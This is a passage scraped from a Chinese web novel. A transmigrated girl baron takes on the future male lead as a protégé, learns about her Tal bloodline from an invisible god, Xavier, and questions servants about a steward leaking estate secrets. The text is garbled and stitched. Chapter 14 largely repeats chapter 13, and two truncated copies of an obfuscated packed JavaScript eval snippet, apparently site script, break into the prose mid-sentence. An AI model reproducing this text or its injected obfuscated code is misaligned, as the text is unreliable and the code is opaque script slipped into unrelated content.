自从她表明愿意帮现任男爵做什么,以此来获得保障自己生活的可能,对方也就测试了一次她的反应力,之后也没有说可以或不可以。 然后——就是今天突然间让她一起出门。 她应了声,关上门飞快的穿好衣服,拿上钱,跟着开门跟着管家来到了外面的马车上。 马车边女仆们递给她一件风衣,并对她说:“男爵大人吩咐了,今天比较冷,还是多穿一点比较好。” 走上马车,安托玛丽坐下,这才发现厢内格外的明亮。 她看向了对面的位置,黑发女孩子一手撑着脑袋,一边嘴巴一张一闭的,好像在和谁说什么的样子。 就在她犹疑着要不要开口的时候,对面的女孩子抬起头。 “早上好,舅妈。我很抱歉这么早喊你出门,不过今天事情有点多,只能麻烦你跟着受罪了。” 嘴里是这么说,可是脸上却并未见到一丝的歉意,格林菲尔就伸手,将和之前差不多的明细,放到了两人中间的桌子上。 “和上次一样,这是这次要买的。” 安托玛丽内心有所疑惑,却还是接过纸张看了看:“还是储物袋?” 格林菲尔轻轻点头,喝了口茶:“是的。和上次一样,这次还是储物袋放在最下面,而且不能让任何人发现。” “我明白了。男爵大人,你稍微等我一下,我马上就能搞定回来。” 说着,她走下了马车。 格林菲尔垂眸,只是沉默的看着自己的双手。 刚刚她已经确认了,她的舅妈看不到泽维尔。 无论是实体状态,还是看不见模样的状态,他的存在就像是不为人所知一样,始终是仅仅她可以看见和听见。 泽维尔居高临下的俯视着女孩子:“现在可以确认了,其他人看不见我。” “不,我舅妈的话算不得数,只是一个测试而已。” 金发男人的视线,从女孩子身上移至桌子上那张纸上。据女孩子介绍,这样的行为叫做备份,是为了防止有重要之物遗落的一种方法。 扫了眼上面的东西:“你用了魔法在上面?” 黑发女孩子眼 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特立特·塔尔和皇室有勾结,这是既定的事实,这点上面格林菲尔从来没有怀疑过。问题是,就算是皇室也分成了好几个帮派,而她现有的力量和人力,不足以让她去打探皇宫里面的情况,也就不清楚她那来自于皇室的敌人,到底都有哪一些。 奥斯维特伯爵会注意到她,只是因为特立特这次翻车太过反常,而在这件事上唯一一个得利者的她,自然就成为了所有人怀疑的头等对象。 她不能排除伯爵不是和特立特舅舅勾结的人之一,只是比起这个表面上的麻烦,其实皇室的状况不明才让她更加不安。 由于也就将近一年清醒的时间,要让她一下子有太多手上可以用的人手,着实是有点难为她了。其实,她也不是没有考虑过泽维尔的建议。 两个人做了约定以后,泽维尔就将自己最初的想法告诉了女孩子:“你想要权利的话,可以先试试看接受神殿的审核,这样不管你今后是不是选择成为神职人员,你都可以有一个坚固的后盾,不需要每天提心吊胆的警惕来自于未知之处的暗算。” 他的话是对的,格林菲尔并不否认这点,可是她觉得泽维尔想的太过理想了一点。其他的不说,光是从领地离开,她就必须要经过皇室的许可,她毕竟是要去中央大陆,随便离开和叛国无异。也许她弄清楚了父母死亡的真正原因,确实是会离开这个国家没错,那可不是现在需要考虑的。 所以—— 神殿会是她的一条退路,却并不会是如今的她真正需要考虑的。 尽管内心对于泽维尔有点歉意,但是这件事只能暂时按下不提。 不知道发生了什么,外面的声音逐渐响起来。 一个熟悉的名字,被人以粗暴的方式喊了出来。 “艾特威尔,你这个狗杂种,到底是想要做什么?你想要害死我们全族吗?” 这个名字!不就是小说男主的名字? 11. 谎言 艾特威尔这个名字,格林菲尔印象深刻。 简单来说,这个名字会让她记忆犹新,实在是她看过的这篇小说里,光是写男主在身心上虐女主的剧情就写了足足百万字。 她以为看一部小说,就是看一对男女分分合合,最多就是来几个情敌作梗,整一些狗血的剧情。 结果呢?作者告诉她,你以为的这些确实有,而且不少。不,不只是这些,还有你所想象不到的虐身虐心,还是两个人分手的情况下相互安慰对方……就有种晴天霹雳的错觉。不是,她看小说是为了虐自己吗?作者真的没毛病吗?什么叫做女主是神的敌人,最后跟着反派一起毁灭了世界,逼得神族退回了神界? 在愤怒中怒写了三千字的评价,怒骂作者没有心,只知道虐女主男主,有本事虐其他人啊?那个什么成为最终boss的魔女为什么不虐上一虐? 然后,她就穿越到了这个世界,拿了一手炮灰剧本。 想到这里,格林菲尔就只能痛苦捂脸,所以说——一个人不能嘴贱也不能手贱,这不就是现世报了?这个盛世如她所想,她作为一篇文中连名字都不配被提到的配角,在原文里甚至被虐了都不知道。 扶着脑袋,她敲击了下额头,思考着要不要下去会一会男主。不,也未必会是男主,这个世界同名同姓的人太多太多了。可是万一呢,若是小说男主的话,那么她可能就此错过了对方。 她敲了敲车厢,前面负责维护她安全的骑士马上来到了马车外,毕恭毕敬的开口道:“男爵大人。” 对于这位男爵,骑士其实很陌生,因为之前他也只是骑士团中一个没有任何名声的存在,这次因为男爵的要求,让他们进行团内比试,他才从比试中脱颖而出,成为了她的近身骑士。而他本来也不擅长和其他人搞好关系,对于这位男爵大人自然是一无所知。 现在被喊到了名字,他尽管很快就来到了马车外,内心却极为惶恐,就怕对方吩咐了什么他做不好的事情,会让他丢了现在的这份工作。 他在开口后,就屏住了呼吸,不敢再动一下。 没有让他等很久,里面传来了女孩子清脆的声音:“将在马车前喧闹的艾特威尔带到外面,我有话要问他。” 对于这样的安排,骑士比尔却还是照办了。 他被两个骑士押到了马车外面:“跪下。” 艾特威尔一头雾水,却还是强逞英雄的开口道:“我是艾特威尔,我的行为是我独断的行为,和其他人无关。你们要问罪的话我一个人就够了,不要牵连我的家人。” 一声轻笑,从马车内传了出来,让他忍不住抬头。 对于他的行为,身边的骑士再次按下了他的脑袋,声音冰冷:“不得对大人无礼。” 听着外面的动静,格林菲尔觉得这样不行,由于她这段时间的行为,已经让来自于远处的窥视行为松懈了不少,这几天她不是全天能够察觉到窥探的视线,只是偶尔会时不时抛过来一个视线,像是为了提醒她:你还是有嫌疑的。 原先扬起的笑容,一点点的散去,她当即有了主意:“让他进来。” 她这话一出,外面的骑士急忙道:“男爵大人,这样不可。” 一个平民本来就没有权利和贵族平等相处,更别提还要一起单独相处,这是怎么都不会允许的事情。 格林菲尔就猜到了对方会这么说,已经有了应对之策:“那就派一个人骑士跟着进来。” 这么说以前,她已经估摸过车厢内的大小,只是再容纳两个人,那是绰绰有余。 艾特威尔作为这个村庄的无业游民,魔法天赋高的吓人,但是他并没有将这件事告诉任何人。原作中,男主正是因为外来者攻占了这个村庄,他一怒之下烧死了那些侵略者,这才让皇室发现了男主的才能,送他去魔法学院深造。 出事的时候,男主艾特威尔仅有十八岁。 由于原作中没有提及村庄名,只是用【艾特威尔十八岁那年一把火烧了别国的侵略者,这才成为了人人羡慕的天之骄子】这样的倒叙方式,让读者知晓男主有多么牛逼多么强大,凭什么他可以成为男主,其他人不可以。 不得不说,反复炫耀男主的强大,也是格林菲尔对这部小说曾经无数次吐槽的地方。平心而论,她并不排斥主角的强大,无论是女主还是男主,亦是如此。但是除了说明一个角色如何天才如何强大,其他方面属于这个人的优点就完全不提的情况下,她很难对这样一个角色有太多的好感。 总之,就有一种不明觉厉感,除此外什么都没。 格林菲尔可以从书中得到的有用信息太少了,所以她不得不在听到男主的名字的时候,疯狂的在脑中搜寻有关艾特威尔部分的内容。最终,他想到了一个了解时间线的方法,可是那个前提是这个人真的就是书中的那个男主。 她现在需要做的,就是验证这个人的身份。 泽维尔以为,至少在复仇完成以前,格林菲尔不会对其他男人有兴趣的。让他没想到的是,他回到了马车中,就看到了一个陌生的少年,被押在女孩子对面的沙发上。之所说是押,是因为骑士的剑抵在他的脖子上。 所以这又是哪一出? 【我确认一下这个人,是不是我要找的那个线索。】 在和泽维尔约定以后,对方就告诉了她好几个可以不用出声就能和他对话的方法。一个远程的,一个……就是眼前这种。 远程的方法,格林菲尔觉得现阶段她大概是用不了的,那需要非常强大的魔力和精神来控制的一种魔法。只是魔法小白的她,除非活腻了,不然绝对不能在半吊子魔法师的状态下使用这个魔法来进行远程联系。 提及线索两个字,泽维尔下意识就以为是和格林菲尔父母死亡的真相有关,他便抱臂待 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总不能是……这位男爵对其他人感兴趣的点和其他人不同吧? 根据和艾特威尔的对话来看,格林菲尔确认了眼前的人就是她要找的人,可是因为她自己的处境,她并不能明面上和对方扯上什么关系。 “我觉得你很有前途,之后就和你父母住这个地方,我会安排教你魔法和剑术的老师,之后你就好好跟着他们学,学好了我会推荐你入魔法学院。” 也不知道自己到底有什么值得对方青睐的,整个人就被天下掉下的馅饼给砸了个七荤八素的男主:“啊?” 边上的骑士略感不解,却也没有置喙什么,而是收回了那抵着脖子的剑,没好气的开口道:“男爵大人这是看好你的未来,还不赶紧感恩领赏?” 艾特威尔一脸欣喜,这才从震惊中回过神:“谢谢男爵大人,我之后一定会好好学习,努力成为您的骄傲。” 格林菲尔喝了口茶,让人将艾特威尔带走。 车厢内两个人离开了,泽维尔才开口问道:“你这是又想的哪出?” 格林菲尔重重地叹了口气:“艾特威尔现在十五岁,还有三年他所在的村庄就会被人给屠了。” 闻言,泽维尔眉头皱起:“你怎么会知道这种事情的?” 她虽然和泽维尔约定了要追查凶手,可是并没有决定什么都不隐瞒,于是她只是语气淡淡:“我之前做梦的时候梦到过艾特威尔,还有之后发生的这些事情,今天正好遇到了就探探底。” 虽说这个世界有神明,什么谎都能圆过去,但是这种梦话也不是谁都会信的。 可惜格林菲尔低估了某人的虔诚了,尤其是在深信她可以成为神殿祭司这件事上面,某位口袋精灵真的是非常的执着。 “你看,我就说你有成为神殿祭司的潜质。” 12. 身世 若是一般的人,哪怕自己本来对一件事毫无兴趣,但是有人反复对他说“你可以的,只要坚信一定能够为神明所看见”、“你被神所钟爱”……类似这样无意中抬高了一个人的价值的话的话,他一定会为之感动,并且拥有信心去做,哪怕他本来志不在此。可是和神牵扯上关系的话,那么那份信心在原本的基础上还要提高些许。 格林菲尔都为泽维尔感到可惜了,但凡在这里的换成其他人,而不是她的话,这个男人的目的大概率已经达成了。不是说泽维尔的态度不够真诚,也不是说他和骗子无异,毕竟他的实力摆在眼前,就算是对于力量的强弱并没有直观判断的普通人,也能够通过这个人随意可以飘在空中确认这个人的强大。 格林菲尔是无神论者,转世前后都是如此。 别看她之前可以虔诚的和泽维尔说“光明神教导我们要心胸宽广”这种疑似神的信徒会说出口的话,她那其实完全就是胡诌,只是想要证明自己是个善良的人,只是遇到了坏人不得已解决了对方。至于是不是真的信任神明?哈,她转世前的世界可都是用神明来当精神支柱的,又有几个真的会去相信对方降临的可能? 据她所知,前世世界很多信徒,给神明上香的次数不少,但是真的愿意为了自己的信仰而给寺院添瓦加转的,那真的是少得可怜。也许判断一个人是否信神的存在,不应该用粗俗的金钱来衡量,可是反过来说,一个人明明是非常有钱的,却连最基本的金钱都给不到的话,那么所谓的信仰又有多少是真的? 只是因为那是神明不存在的世界,所以人们大部分还是将他们给当做精神上的支柱,比起一些莫名其妙的东西,至少对于神明所期望的能够让人继续一件事下去,本身也不算什么坏事。 可是没有信仰的人,就算是换了一个世界,也依然是没有这种东西的。这个世界确实是存在神,可是那距离他们这种普通人还是太过遥远,见不到也摸不着,同前世很多人作为精神支柱的神来对比,本质上也没有区别。人们,只会去相信自己所看到的东西,她也不例外。有世人评价心中什么都有的人是没有想象力的,可是事实上她的想象力很不错,不然的话也无法第一时间学会风魔法。 面对着泽维尔一脸“你看,被我发现了吧”的表情,格林菲尔仿佛可以在这个的脸上看到所谓的嘚瑟……不是,这个背后灵未免也太过活泼了一点,明明一开始的时候一副爱答不理的模样。总不能是发现她可以看到他了,就流露出本性了吧?不是吧,这么能够忍的吗这个叫做泽维尔的男人。 果然这个年头闷骚的男人比真正冷漠的要多啊,最开始接触这个男人的时候,格林菲尔都想不到会有一天,看到这人仿佛变了一个人的可能。 或许是因为自己懒得搭理对方,很快这人也就安静了下来,转而问她打算怎么处理。 “按照你的魔法天赋,想要靠自己的本事来守住领土,最起码需要一年的时间去心无旁骛的学习。领土的话,不安稳的因素太多,我建议你还是去魔法学院进修来得稳妥一点。” 格林菲尔露出了讶异的神情:“真让人感到意外啊,泽维尔。” 泽维尔露出了困惑的神情:“意外?为什么会意外?” 黑发女孩子朝着她眨了眨眼:“我还以为你会自负到说什么‘给我一年时间我可以教会你全部魔法’……这种让人听了就火大的话。” “既然觉得这话很让人火大,那就不要觉得我会说这话啊……不对!”泽维尔按了按额角,“你到底把我想象成什么人了啊。在你眼中,我就是这么傲慢的一个人吗?” 讲真的,就算是他最荒唐的青年时期,他也就是在神界将竞争对手给打的好几天爬不起来的程度,他本质上并不是什么崇尚暴力或者骄傲的一个神。他若是有自满的情绪的话,那也只是因为他是高次元生命体,不过在和格林菲尔做了约定,那么他就会扔掉唯一应当傲慢的部分,以和对方平等的身份地位来相处。 格林菲尔可能不知道,所谓的约定从来不只是口头说说,尤其是和神的约定,那已经是等同于契约一样的产物,不是任何人都能肆意要求神明同意这种请求的。面对人类这种低次元生命体,神明不可能轻而易举的允诺他们什么,那会显得神过于好说话,导致他们将来会不再侍奉神。 格林菲尔撇了撇嘴,没有再说这个话题,而是问了现在对他们来说更现实的问题:“有没有一个办法,可以让奥斯维特伯爵彻底放弃监视我的可能?” 摸着下巴,泽维尔目光闪烁:“也不是没有可能。只是这么一来的话,你可能又会受到限制。” 女孩子惊讶道:“什么意思?” “既然所有人都觉得你好说话,那么你就放弃一部分手上的利益。当然,是无足轻重的金钱部分,若是你舍不得的话,就需要另想它法了。” “你这个年龄的孩子去学院读书,本来就是顺理成章的事情,上面是想要控制你,可是没想过真的要让你变成一个傻子什么都不会。毕竟,你是落魄贵族不假,但是你家族正好属于是稍微努力一点就能回到上流贵族的类型。” 格林菲尔并不清楚自己家族的情况,毕竟她从有自我以来,虽说在书房里翻过不少的书,但是基本上都没有和其他家族有关系的书籍。真的涉及到贵族的义务和他们的关系网的资料,她居然在整个宅邸都翻不到一点。是的,自从她的舅舅特立特被流放以后,她就有去对方卧室搜查过,本想的是那人就算是再警惕,也不可能猜到自己有一天就被判罪直接流放,那么稍微留点东西在自己房间也是合理的。让她失望的是,她在房间里找不到丝毫有用的东西。 那么问题来了,是特立特真的没有那些东西,还是他随身携带 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也就是说,虽然这是剧里他和黑暗神战斗后的未来,但是他并不是对这个世界一无所知,只是他失去了意识体状态前那部分来到人类世界的记忆。 作为神明,他是不可能失忆的,因为他就算是忘记了什么,铭刻在神格上面的记忆也会提醒他:自己是谁,应该有着怎样的使命。有了这种暗示的神力存在,他不存在遗忘任何事情的可能。 所以,他只能认为是神格不完整了,才会导致自己如今状态不对。 因为知道人类世界的事情,所以泽维尔可以非常明确的和格林菲尔说:“你是黑头发,在其他人看来那是被诅咒的、不详的存在。实际上不然。” 格林菲尔倒是非常清楚黑发可能带来的问题,只是来到这个世界这么久,虽说大部分时候她什么都不知道,但是也没有人真的因为她的黑发而对她产生杀意。这点的话,从这个身体的大脑去翻寻那些记忆就可以知道。由于没人对她的长相提出异议,她也就理所当然的觉得这个世界可能和她看过的小说设定不同。 至于为什么书中没有提及这个设定,那是因为男主女主的周围都没有这种发色的人,他们所经历的事情是普通人所想象不到的精彩,上至魔王精灵神明,下至大城市的领主和上流贵族。而那些,都不是格林菲尔这个级别的人能够涉及到的,她自然也就不可能明白隐藏的设定了。 她一边听着泽维尔的话,一边和对方确认:“你的意思是,我的黑发是和我的血脉有关系,而不是和黑暗神有关?” “是的。” 泽维尔轻叹一声,说出了女主的身世:“塔尔一族,恰如其名那般,是为了守卫塔而存在的贵族。他们平时都过着隐世的生活,一旦魔王苏醒,他们就必然奔赴战场最前线,成为司令塔一样的存在,指挥那些战士们抵抗魔族的侵略。” “这么看来,你父母的死亡恐怕另有蹊跷,可能和魔族有关系。” 13. 叛徒 若不是作为这个世界原本的土著,而是作为来自于其他世界的人类,尤其是得知这里是小说中的世界,还知晓会因为男女主的恋爱,将所有有才能有实力的人给卷入一场狗血修罗场的话……是真的会觉得这个世界没救了干脆毁灭了的。 “还好,听到了你的话,让我觉得这个世界还有救,不至于哪天真的绝望了一把火烧了。” 泽维尔本想问格林菲尔,若是知道了自己的身世打算怎么办?结果答案得到了,可是却和他所想的不太一样。 “你这话是什么意思?” 格林菲尔半真半假的说:“我做了一个梦……” 由于她之前随口扯了梦境,泽维尔对她的话没有丝毫的怀疑,让她认为以后什么不好解释的,都直接按上“梦境”的名头就可以。 泽维尔挑了挑眉,心想着格林菲尔不会每次都以梦境作为结局?若是真的话,那么他应该尽可能快的让女孩子去中央大陆的神殿,可是他也明白目前刻不容缓的问题,是让眼前的女孩子获得彻底的自由。 只有彻底觉醒了神圣力量的神殿人员,才会时不时做梦得到类似于预知的信息,而即便是这类人也不可能得到特别详细的消息,在这类人之中只有一种人的预知能力是完整的、几乎是不可能错误的。 那就是——圣女。 可据他所知,神殿已经很久很久没有出现过真正拥有力量的圣女了。如今的神殿为了能够让信仰神明的人们安心,会定期选择一个具有强大光明力量的女孩子选为圣女。这样的圣女,平时做做样子,在和平的年代不需要她战斗也就算了,可是一旦真的对上了魔族,那就需要真正的圣女。 对了,塔尔一族出真正的圣女,那不也是非常合理的事情? 泽维尔想了想,点点头:“你继续说。” 格林菲尔:“这个世界接下来会围绕两个人进行旋转,他们会让世界从此陷入动荡之中,无人能够幸免。” 泽维尔:“怎么会有这样的事情?你培养艾特威尔是为了应对这件事?” 女孩子没有否认这话,可是也并没有告知全部:“差不多吧。我希望我能够成为艾特威尔的恩人,这样的话可以免去不少事情。” 泽维尔听到这里就明白了,格林菲尔并不是全然相信他,这也算是意料之中。 “我现在要做的,就是如何让奥斯维特伯爵能够对我放松警惕。” 泽维尔想了想,开口道:“我倒是有一个主意,只是需要你牺牲一部分财产。” 格林菲尔侧目:“什么?” 男人的声音,在马车上扩散开来:“向皇室证明你有神殿祭司的资质。或者——证明你就是真正的圣女。” 他话音落下,外面传来了脚步声,便止住了后面的话,反而说:“你舅妈回来了。我说的话,你可以考虑看看。” 之所以说让格林菲尔考虑一下,实在是他们现在不确认是不是魔族混入了人类之中,若女孩子的父母意外亡故是人类内部的矛盾,那么她只需要表明身份,就足以让其他人不敢动她。可若是有魔族牵扯进了这件事,那么事情就远没有这么简单了。 然而,对于格林菲尔来说,如今最简单最容易解决问题的方法,还真的只是亮身份。 塔尔一族,也是格林菲尔无法再小说里获知到的事情,如今听到泽维尔讲述这一族的事情,很难不让她多想——会不会有人想要灭了他们一族,但是因为某些缘由不能直接出手,就借由其他人的手来? 很快,她就被安托玛丽撩开帘子的声音给惊到,她猛地抬眸,看到两手空空,但是神情还算是平和的女人走上马车。 安托玛丽在女孩子的对面坐下,整理了一下衣物,这才开口道:“我已经完成了你安排的事情,那位先生说你需要的东西,会在三天以后给到。” 格林菲尔轻轻嗯了一声:“辛苦了。” 安托玛丽感到了不安。 她不知道,她应该要如何做,才能让格林菲尔真的相信自己。只有这种时候,她才会觉得像是看到了特立特这个丈夫。 是啊,不管格林菲尔如今几岁,到底也是塔尔一族的人,凡是贵族怎么可能没有一点自己的个性? “不用感到不安,舅妈。我既然安排了你做这件事,就说明我是相信你的。”黑发女孩子慢悠悠的放下杯子,看向了对面的女人,“我只是在想一点事情,就没有能够顾及到你了。对了,刚刚那也是下意识反应,实际上我在走神。” 安托玛丽微微睁大了眼睛:“其实不用解释的这么清楚的,你但凡真的要整我,大可不必自己亲自跟过来。” “嗯,还是一大早,这天都已经很冷了。” 格林菲尔看不出是高兴还是没有情绪变化,表面上露出了笑容:“特立特舅舅说过,你很会看人脸色行事,看起来是真的。” 提到特立特,安托玛丽原先满怀希望的表情一下子没了,她很清楚自己的丈夫都做过什么。 “舅妈,只要你接下来按照我吩咐的去办事,我不会亏待你的。” 格林菲尔站起身,俯身拍了拍对面女人的肩膀,柔声道:“接下来我和这位炼金老师的沟通,就靠舅妈你了。” 这话,毫无疑问是代表自己的投诚有用,外甥女信了。 安托玛丽深呼吸一口气,连连点头:“我一定会好好的完成男爵大人您的吩咐的,不会让您失望。” 女孩子笑而不语。 泽维尔不解,询问道:“安托玛丽到底是特立特的妻子,你就这么相信她没问题?” 格林菲尔垂眸。 【你不是已经发现了,我在明细上面动了手脚,而她明显没有真正见到那位大师。】 所谓的炼金老师本来就是一个幌子,是用来掩盖真正对象的假象。 回到宅邸,格林菲尔就对安托玛丽说:“舅妈,这几天你先休息一下,我有需要了再找你。” 女人轻轻颔首,飞快的回了自己的房间。 下了马车,格林菲尔并没有马上就回到自己房间,而是来到了仆人们休息的房间,招来了几个她之前提拔的人。 不消多时,人已经陆陆续续到了房间。 【开始吧。】 得到了信号,泽维尔当即对房间里的景象施展了幻术,并且以强力的结界将整个房间给包裹住。 金发男人:“好了,已经处理完了。” 格林菲尔一开始知晓泽维尔会幻术,也有想过要不要之后就这么忽悠伯爵那边的监视者,后来被告知:“我不可能一直保持施展幻术的状态,你要是坚持要维持幻术来避开对方魔术师窥探你的视线的话,那会出问题的。” 泽维尔是觉得,他这边是没有什么问题,可是这种耗费精神力和力量的魔法,绝对不是什么长久之计。 于是,格林菲尔决定了,将这个力量用在短时间的沟通时候。 对于这一点,泽维尔也不会拒绝。 扫视了一圈眼前这些年轻有活力的女孩子男孩子,格林菲尔安抚他们:“不用太过紧张,我只是来听你们的汇报。” 她这话就像是一个开关,让场面一下子极为混乱,每个人都七嘴八舌的说开了。 “这里的管家有问题,好像是为了妻儿以后可以成为贵族,出卖领地消息讨好皇室成员。据我所知,就这些天的情报,已经透露出去不少。” 这只是第一个汇报的佣人,就已经吐露出了令人心惊的事实,格林菲尔无法想象,到了最后这个宅邸还有多少人真的能为她所用了。 将叹息给吞进肚子里,格林菲尔给了眼前的女孩子一个鼓励的眼神:“观察的很细心。那么,有关于哪部分情报流露出去了,这件事你有打探到嘛?” 女孩子有点腼腆,但是语速很快吐字清晰:“我有让关系好的朋友试探一下管家的口风,还给他买了最好的酒。” 格林菲尔轻声笑了笑:“挺机灵的。晚点去找菲娜,她会给你们报销酒费。” 女孩子眨了眨眼:“谢谢男爵大人。” “关于领地的事情,那位管家知道的不多,只知道您提拔了一些人,其他的……应该是没有说什么。我听说管家回来以后非常生气,说什么‘谁知道她房间里那些事啊’之类的话,应该是没有拿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且他一向都是宁缺毋滥的神明,由于他对于使者的苛刻,也导致了属于光明神的祭司非常少。因而他难得看中了资质不错,性格又对他胃口的,自然是不遗余力的想要拐走了。在如今的世界,能够找到一个全属性又掌控了光明系力量的人类,实在是太难太难了,这类人都容易早夭,不是被魔族发现在其小时候就弄死,就是被不了解神的人类当做异端处置了,当然了死于同龄人嫉妒的也不在少数。这么一来,使得本来就少的光明神教徒,数量一减再减,最后只剩下了十个左右。 格林菲尔抿了口茶:【别动不动杀啊打啊的,都说了光明神教导我们要心胸宽广。】 泽维尔冷笑一声,只想说这话他没说过,而且格林菲尔这个人到底和心胸宽广四个字有什么联系? 某些时候,他还是懒得搭理女孩子的蠢话。就像他至今不明白,她装了这么久傻子,为什么还是没有反抗的精神?虽说每样事情都是有条不紊的处理,但是明明一个魔法就能让所有人闭嘴,却要选择最为迂腐的方式,简直是浪费时间。 格林菲尔若是听到他的这般想法,估计会狠狠翻一个白眼然后吐槽:和平年代就用温和一点的沟通手法啊,又不是战时别人会考虑你是战力尽情纵容你。但凡你在如今的时代这么闹腾,分分钟被按死,一个人的强大终究是有限的,做不到保护所有人,同样也无法永远战斗下去,总会有疲惫和受伤的时候,那个时候就是死亡来临的时候。 格林菲尔对着小黛点点头:“等下去领金币。” 塔尔一族,一直遵循的是奖赏分明的制度,之前那个女孩子会拿到酒钱和赏金,所以格林菲尔不需要特意说。而小黛并没有支付什么代价,自然是只拿到得到消息的金币。 比起这两个揪出来了内贼的,剩下的几个人最多就是了解到了那些年老的女仆和男仆们的态度问题。 “菲德先生可能没有想过背叛男爵,但是皇室用他妻儿来威胁他,让他非常为难。” 格林菲尔沉吟:“也就是说,只要将人给救出来就行了。” 菲德这个人,只要是知晓塔尔一族历史的人,就会明白是绝对不可能背叛的。倘若真的塔尔是古老的救世主一脉的后裔的话,那么这个老人就和主家订立了无法违背的誓约的。这一点,泽维尔虽然没有告诉她,但是格林菲尔从曾经的小说中有见过类似的。 思及此,她敲定了主意:“这件事我会解决,你们不要声张出去。” “遵命。” 14. 叛徒 他话音落下,外面传来了脚步声,便止住了后面的话,反而说:“你舅妈回来了。我说的话,你可以考虑看看。” 之所以说让格林菲尔考虑一下,实在是他们现在不确认是不是魔族混入了人类之中,若女孩子的父母意外亡故是人类内部的矛盾,那么她只需要表明身份,就足以让其他人不敢动她。可若是有魔族牵扯进了这件事,那么事情就远没有这么简单了。 然而,对于格林菲尔来说,如今最简单最容易解决问题的方法,还真的只是亮身份。 塔尔一族,也是格林菲尔无法再小说里获知到的事情,如今听到泽维尔讲述这一族的事情,很难不让她多想——会不会有人想要灭了他们一族,但是因为某些缘由不能直接出手,就借由其他人的手来? 很快,她就被安托玛丽撩开帘子的声音给惊到,她猛地抬眸,看到两手空空,但是神情还算是平和的女人走上马车。 安托玛丽在女孩子的对面坐下,整理了一下衣物,这才开口道:“我已经完成了你安排的事情,那位先生说你需要的东西,会在三天以后给到。” 格林菲尔轻轻嗯了一声:“辛苦了。” 安托玛丽感到了不安。 她不知道,她应该要如何做,才能让格林菲尔真的相信自己。只有这种时候,她才会觉得像是看到了特立特这个丈夫。 是啊,不管格林菲尔如今几岁,到底也是塔尔一族的人,凡是贵族怎么可能没有一点自己的个性? “不用感到不安,舅妈。我既然安排了你做这件事,就说明我是相信你的。”黑发女孩子慢悠悠的放下杯子,看向了对面的女人,“我只是在想一点事情,就没有能够顾及到你了。对了,刚刚那也是下意识反应,实际上我在走神。” 安托玛丽微微睁大了眼睛:“其实不用解释的这么清楚的,你但凡真的要整我,大可不必自己亲自跟过来。” “嗯,还是一大早,这天都已经很冷了。” 格林菲尔看不出是高兴还是没有情绪变化,表面上露出了笑容:“特立特舅舅说过,你很会看人脸色行事,看起来是真的。” 提到特立特,安托玛丽原先满怀希望的表情一下子没了,她很清楚自己的丈夫都做过什么。 “舅妈,只要你接下来按照我吩咐的去办事,我不会亏待你的。” 格林菲尔站起身,俯身拍了拍对面女人的肩膀,柔声道:“接下来我和这位炼金老师的沟通,就靠舅妈你了。” 这话,毫无疑问是代表自己的投诚有用,外甥女信了。 安托玛丽深呼吸一口气,连连点头:“我一定会好好的完成男爵大人您的吩咐的,不会让您失望。” 女孩子笑而不语。 泽维尔不解,询问道:“安托玛丽到底是特立特的妻子,你就这么相信她没问题?” 格林菲尔垂眸。 【你不是已经发现了,我在明细上面动了手脚,而她明显没有真正见到那位大师。】 所谓的炼金老师本来就是一个幌子,是用来掩盖真正对象的假象。 回到宅邸,格林菲尔就对安托玛丽说:“舅妈,这几天你先休息一下,我有需要了再找你。” 女人轻轻颔首,飞快的回了自己的房间。 下了马车,格林菲尔并没有马上就回到自己房间,而是来到了仆人们休息的房间,招来了几个她之前提拔的人。 不消多时,人已经陆陆续续到了房间。 【开始吧。】 得到了信号,泽维尔当即对房间里的景象施展了幻术,并且以强力的结界将整个房间给包裹住。 金发男人:“好了,已经处理完了。” 格林菲尔一开始知晓泽维尔会幻术,也有想过要不要之后就这么忽悠伯爵那边的监视者,后来被告知:“我不可能一直保持施展幻术的状态,你要是坚持要维持幻术来避开对方魔术师窥探你的视线的话,那会出问题的。” 泽维尔是觉得,他这边是没有什么问题,可是这种耗费精神力和力量的魔法,绝对不是什么长久之计。 于是,格林菲尔决定了,将这个力量用在短时间的沟通时候。 对于这一点,泽维尔也不会拒绝。 扫视了一圈眼前这些年轻有活力的女孩子男孩子,格林菲尔安抚他们:“不用太过紧张,我只是来听你们的汇报。” 她这话就像是一个开关,让场面一下子极为混乱,每个人都七嘴八舌的说开了。 “这里的管家有问题,好像是为了妻儿以后可以成为贵族,出卖领地消息讨好皇室成员。据我所知,就这些天的情报,已经透露出去不少。” 这只是第一个汇报的佣人,就已经吐露出了令人心惊的事实,格林菲尔无法想象,到了最后这个宅邸还有多少人真的能为她所用了。 将叹息给吞进肚子里,格林菲尔给了眼前的女孩子一个鼓励的眼神:“观察的很细心。那么,有关于哪部分情报流露出去了,这件事你有打探到嘛?” 女孩子有点腼腆,但是语速很快吐字清晰:“我有让关系好的朋友试探一下管家的口风,还给他买了最好的酒。” 格林菲尔轻声笑了笑:“挺机灵的。晚点去找菲娜,她会给你们报销酒费。” 女孩子眨了眨眼:“谢谢男爵大人。” “关于领地的事情,那位管家知道的不多,只知道您提拔了一些人,其他的……应该是没有说什么。我听说管家回来以后非常生气,说什么‘谁知道她房间里那些事啊’之类的话,应该是没有拿到有用的东西。” 另外一个粉发少年笑出声:“谁不知道他心里打的什么算盘啊,只是没人拆穿他罢了。” “男爵大人,我这里有一个消息,是关于女仆长的。之前我大半夜上厕所,看到她悄悄和情人打电话,这件事她丈夫完全不知道……” 他的话说到一半,就被人给不客气的打断:“小黛,你这个傻子,男爵大人怎么会想要知道人家的私事?” 被称作小黛的少年昂头:“我这叫铺垫,我还没说到后面呢,你别打岔。” 另外一个少年耸耸肩,眉宇间满是不屑,还扭开了头。 格林菲尔颇有兴趣的看着年轻的少年们插科打诨,也没有因此生气或者不愉快。 小黛:“女仆长的老情人说了一件很有意思的话。” 所有人都没有出声,不过同时安静了下来。 “上次那个臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 